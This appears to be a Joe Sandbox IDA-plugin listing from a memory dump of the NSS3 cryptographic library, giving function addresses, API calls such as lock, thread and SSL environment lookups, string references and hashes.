Part of subcall function 6D016910: NSSUTIL_ArgStrip.NSS3(?), ref: 6D016A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6D016D8C
free.MOZGLUE(00000000), ref: 6D016DC5
free.MOZGLUE(?), ref: 6D016DD6
free.MOZGLUE(?), ref: 6D016DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6D016E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6D016E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6D016E72
free.MOZGLUE(?), ref: 6D016EA7
free.MOZGLUE(?), ref: 6D016EC4
free.MOZGLUE(?), ref: 6D016ED5
free.MOZGLUE(00000000), ref: 6D016EE3
free.MOZGLUE(?), ref: 6D016EF4
free.MOZGLUE(?), ref: 6D016F08
free.MOZGLUE(00000000), ref: 6D016F35
free.MOZGLUE(?), ref: 6D016F44
free.MOZGLUE(?), ref: 6D016F5B
free.MOZGLUE(00000000), ref: 6D016F65

Part of subcall function 6D016C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6D01781D,00000000,6D00BE2C,?,6D016B1D,?,?,?,?,00000000,00000000,6D01781D), ref: 6D016C40
Part of subcall function 6D016C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6D01781D,?,6D00BE2C,?), ref: 6D016C58
Part of subcall function 6D016C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6D01781D), ref: 6D016C6F
Part of subcall function 6D016C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6D016C84
Part of subcall function 6D016C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6D016C96
Part of subcall function 6D016C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6D016CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6D016F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6D016FC5
PK11_GetInternalKeySlot.NSS3 ref: 6D016FF4

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: fe33466af9373e2af15266a7a62612a4553cf77a0f336cef0ab6f51d01b8920a
Instruction ID: c113b86e80256333f4810e8242ccabbba2cddb08ae2b1e214e5eecc9e84a58f0
Opcode Fuzzy Hash: fe33466af9373e2af15266a7a62612a4553cf77a0f336cef0ab6f51d01b8920a
Instruction Fuzzy Hash: 3AB14AB5E0821A9BEF01CBE5DC44BAEBBF9BF09354F440128E915A7240E731E954CBE1

Function 6D014C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6D014C4C
EnterCriticalSection.KERNEL32(?), ref: 6D014C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6D014CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6D014CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6D014CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D014D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D014D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6D014DB7

Part of subcall function 6D07DD70: TlsGetValue.KERNEL32 ref: 6D07DD8C
Part of subcall function 6D07DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D07DDB4

Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07AD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07CD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07D6
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF5204A), ref: 6CFC07E4
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,6CF5204A), ref: 6CFC0864
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CFC0880
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6CF5204A), ref: 6CFC08CB
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08D7
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08FB

TlsGetValue.KERNEL32 ref: 6D014DD7
EnterCriticalSection.KERNEL32(?), ref: 6D014DEC
PR_Unlock.NSS3(?), ref: 6D014E1B
PR_SetError.NSS3(00000000,00000000), ref: 6D014E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D014E5A
PR_SetError.NSS3(00000000,00000000), ref: 6D014E71
free.MOZGLUE(00000000), ref: 6D014E7A
PR_Unlock.NSS3(?), ref: 6D014EA2
TlsGetValue.KERNEL32 ref: 6D014EC1
EnterCriticalSection.KERNEL32(?), ref: 6D014ED6
PR_Unlock.NSS3(?), ref: 6D014F01
free.MOZGLUE(00000000), ref: 6D014F2A

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 364cbce9a04d29f4e4c7e975842c0824cf5aa7a22662fe556eddadd154b550ab
Instruction ID: 4713980a2e135ba71dd42929e95045078805e89e5cd06f9b5115eedfc06b1587
Opcode Fuzzy Hash: 364cbce9a04d29f4e4c7e975842c0824cf5aa7a22662fe556eddadd154b550ab
Instruction Fuzzy Hash: 37B1E375E04206AFEB01DFA8EC84BAA77B4BF49318F014028ED159B321E771E961CB91

Function 6D01FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D01FFB4

Part of subcall function 6D0998D0: calloc.MOZGLUE(00000001,00000084,6CFC0936,00000001,?,6CFC102C), ref: 6D0998E5

PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D01FFC6

Part of subcall function 6D0998D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6D099946
Part of subcall function 6D0998D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CF516B7,00000000), ref: 6D09994E
Part of subcall function 6D0998D0: free.MOZGLUE(00000000), ref: 6D09995E

PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D01FFD6
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D01FFE6
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D01FFF6
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D020006
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D020016
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D020026
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D020036
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D020046
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D020056
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D020066
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D020076
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D020086
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D020096
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D0200A6
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D0200B6
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D0200C6
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D0200D6
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D0200E6

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 6716eb4250ebff9377ca710ce0956035ee72a50a945f89559786f489f543a25a
Instruction ID: fc44dec20bac3048d5ed4f60021a116f108cab7cdaa7cb2422e9c10a0f5f4640
Opcode Fuzzy Hash: 6716eb4250ebff9377ca710ce0956035ee72a50a945f89559786f489f543a25a
Instruction Fuzzy Hash: B63105B8D296189E9B75FF25B14030A3AB4F71BA08713B11ED2188F282D7F40146DFD5

Function 6D066E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6D066BF7), ref: 6D066EB6

Part of subcall function 6CFC1240: TlsGetValue.KERNEL32(00000040,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC1267
Part of subcall function 6CFC1240: EnterCriticalSection.KERNEL32(?,?,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC127C
Part of subcall function 6CFC1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC1291
Part of subcall function 6CFC1240: PR_Unlock.NSS3(?,?,?,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC12A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6D10FC0A,6D066BF7), ref: 6D066ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6D066EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6D066EFC
PR_NewLock.NSS3 ref: 6D066F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6D066F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6D066BF7), ref: 6D066F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6D066BF7), ref: 6D066F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6D066BF7), ref: 6D066FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6D066BF7), ref: 6D066FFD

Strings

NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6D066FDB
SSLKEYLOGFILE, xrefs: 6D066EB1
# SSL/TLS secrets log file, generated by NSS, xrefs: 6D066EF7
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6D066F4F
NSS_SSL_CBC_RANDOM_IV, xrefs: 6D066FF8
SSLFORCELOCKS, xrefs: 6D066F2B

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 8937d77a6b9374f3cbb31bbe6a5610dcfc7e58ec5f5dff34b3198d64e1342de5
Instruction ID: 25f373564512e483ddd4b10fdf3038e24205e3a3cd386098a8e391f61c862270
Opcode Fuzzy Hash: 8937d77a6b9374f3cbb31bbe6a5610dcfc7e58ec5f5dff34b3198d64e1342de5
Instruction Fuzzy Hash: ADA1F6B6D689D187F7218A3DD80139833E6BBC3335FA58365F83186ED5DBB5944082A1

Function 6CFE5DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFE5DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CFE5E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CFE5E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CFE5E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CFE5EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CFE5ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CFE5F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CFE5F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CFE5F89
free.MOZGLUE(?), ref: 6CFE5FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CFE5FB6
free.MOZGLUE(00000000), ref: 6CFE5FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CFE600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CFE6079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFE6084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFE6094

Strings

, xrefs: 6CFE5EEB

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 26a055766712cf4edcade2addd9de3ffd1bebfefa4f5696e468161b5ccf137e9
Instruction ID: ab8cb30fde6c830dc251a6d6b9e1aff26ac8de735194490665c082ff4c4646ad
Opcode Fuzzy Hash: 26a055766712cf4edcade2addd9de3ffd1bebfefa4f5696e468161b5ccf137e9
Instruction Fuzzy Hash: 928103B2E04205ABEF108E64DC81BAF77B5AF4C318F144128E919E7791E731E904CBD2

Function 6CFC1FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6CFC2007
calloc.MOZGLUE(00000001,00000084), ref: 6CFC2077
calloc.MOZGLUE(00000001,0000002C), ref: 6CFC20DF
TlsSetValue.KERNEL32(00000000), ref: 6CFC2188
PR_NewCondVar.NSS3 ref: 6CFC21B7
calloc.MOZGLUE(00000001,00000084), ref: 6CFC221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CFC22C2
GetLastError.KERNEL32 ref: 6CFC22CD
free.MOZGLUE(00000000), ref: 6CFC22DD

Part of subcall function 6CFC0F00: PR_GetPageSize.NSS3(6CFC0936,FFFFE8AE,?,6CF516B7,00000000,?,6CFC0936,00000000,?,6CF5204A), ref: 6CFC0F1B
Part of subcall function 6CFC0F00: PR_NewLogModule.NSS3(clock,6CFC0936,FFFFE8AE,?,6CF516B7,00000000,?,6CFC0936,00000000,?,6CF5204A), ref: 6CFC0F25

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: d55fc16291f14e62978890c684fb953401884e9482ae1522a10d88ff70436bde
Instruction ID: 2ea43b41d797819be3d6a12b6ebd9da20fc4958f41467d6c152059c8874d8d89
Opcode Fuzzy Hash: d55fc16291f14e62978890c684fb953401884e9482ae1522a10d88ff70436bde
Instruction Fuzzy Hash: 2A91AFB57017029FEB209F78E84879B7AF4FF06704F11442AE55AD6A40DBB29048CF92

Function 6CFFD8F0 Relevance: 27.4, APIs: 18, Instructions: 354COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000010,00000054,?,00000008,00000054,00000000), ref: 6CFFDA45
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,6CFFD06D), ref: 6CFFDA59
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6CFFD06D), ref: 6CFFDA89
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6CFFD06D), ref: 6CFFDA9D
TlsGetValue.KERNEL32 ref: 6CFFDB0A
EnterCriticalSection.KERNEL32(?), ref: 6CFFDB1E
TlsGetValue.KERNEL32 ref: 6CFFDB43
EnterCriticalSection.KERNEL32(?), ref: 6CFFDB57
TlsGetValue.KERNEL32(00000000,?,6CFFD06D), ref: 6CFFDB7C
EnterCriticalSection.KERNEL32(?,?,6CFFD06D), ref: 6CFFDB90
PR_Unlock.NSS3(?), ref: 6CFFDBBD
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6CFFD06D), ref: 6CFFDC21
PR_SetError.NSS3(00000000,00000000,?,?,?,?), ref: 6CFFDC39
PK11_DoesMechanism.NSS3(?,?,?,?,?,00000000,?,6CFFD06D), ref: 6CFFDC64
TlsGetValue.KERNEL32(?,?,?,00000000,?,6CFFD06D), ref: 6CFFDC84
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6CFFD06D), ref: 6CFFDC98
PK11_DoesMechanism.NSS3(?,CE53436C,?,?,?,?,?,00000000,?,6CFFD06D), ref: 6CFFDCE6
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6CFFD06D), ref: 6CFFDD01

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalEnterSectionValue$Unlock$DoesK11_Mechanism$Error
String ID:
API String ID: 3890939128-0
Opcode ID: bc8a62f59e963768848b62dae431b401146ad4ee455962867f2ad51bcfda6fc9
Instruction ID: 2203bafb376a61aa1007a3a1172c53e3df77bd8eb6e9ddabb5bc55179918e8cc
Opcode Fuzzy Hash: bc8a62f59e963768848b62dae431b401146ad4ee455962867f2ad51bcfda6fc9
Instruction Fuzzy Hash: C8E1EE35600600DFDB209F24D884BA6B7F5FF49318F114968DA6687B72D7B1F896CB80

Function 6D0E9C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6D0E9C70
PR_NewLock.NSS3 ref: 6D0E9C85

Part of subcall function 6D0998D0: calloc.MOZGLUE(00000001,00000084,6CFC0936,00000001,?,6CFC102C), ref: 6D0998E5

PR_NewCondVar.NSS3(00000000), ref: 6D0E9C96

Part of subcall function 6CFBBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CFC21BC), ref: 6CFBBB8C

PR_NewLock.NSS3 ref: 6D0E9CA9

Part of subcall function 6D0998D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6D099946
Part of subcall function 6D0998D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CF516B7,00000000), ref: 6D09994E
Part of subcall function 6D0998D0: free.MOZGLUE(00000000), ref: 6D09995E

PR_NewLock.NSS3 ref: 6D0E9CB9
PR_NewLock.NSS3 ref: 6D0E9CC9
PR_NewCondVar.NSS3(00000000), ref: 6D0E9CDA

Part of subcall function 6CFBBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CFBBBEB
Part of subcall function 6CFBBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CFBBBFB
Part of subcall function 6CFBBB80: GetLastError.KERNEL32 ref: 6CFBBC03
Part of subcall function 6CFBBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CFBBC19
Part of subcall function 6CFBBB80: free.MOZGLUE(00000000), ref: 6CFBBC22

PR_NewCondVar.NSS3(?), ref: 6D0E9CF0
PR_NewPollableEvent.NSS3 ref: 6D0E9D03

Part of subcall function 6D0DF3B0: PR_CallOnce.NSS3(6D1314B0,6D0DF510), ref: 6D0DF3E6
Part of subcall function 6D0DF3B0: PR_CreateIOLayerStub.NSS3(6D13006C), ref: 6D0DF402
Part of subcall function 6D0DF3B0: PR_Malloc.NSS3(00000004), ref: 6D0DF416
Part of subcall function 6D0DF3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6D0DF42D
Part of subcall function 6D0DF3B0: PR_SetSocketOption.NSS3(?), ref: 6D0DF455
Part of subcall function 6D0DF3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6D0DF473

Part of subcall function 6D099890: TlsGetValue.KERNEL32(?,?,?,6D0997EB), ref: 6D09989E

EnterCriticalSection.KERNEL32(?), ref: 6D0E9D78
calloc.MOZGLUE(00000001,0000000C), ref: 6D0E9DAF
_PR_CreateThread.NSS3(00000000,6D0E9EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6D0E9D9F

Part of subcall function 6CFBB3C0: TlsGetValue.KERNEL32 ref: 6CFBB403
Part of subcall function 6CFBB3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CFBB459

_PR_CreateThread.NSS3(00000000,6D0EA060,00000000,00000001,00000001,00000000,?,00000000), ref: 6D0E9DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6D0E9DFC
_PR_CreateThread.NSS3(00000000,6D0EA530,00000000,00000001,00000001,00000000,?,00000000), ref: 6D0E9E29
calloc.MOZGLUE(00000001,0000000C), ref: 6D0E9E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6D0E9E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6D0E9E89

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: c9c3cc131c576a21546a756c34039c6b216d208411ca0e3ef769b95621fdccbd
Instruction ID: ba014f7c8ae668cc936510c6b91012504bb4cfab5ecaa2d4f59885201cad22d5
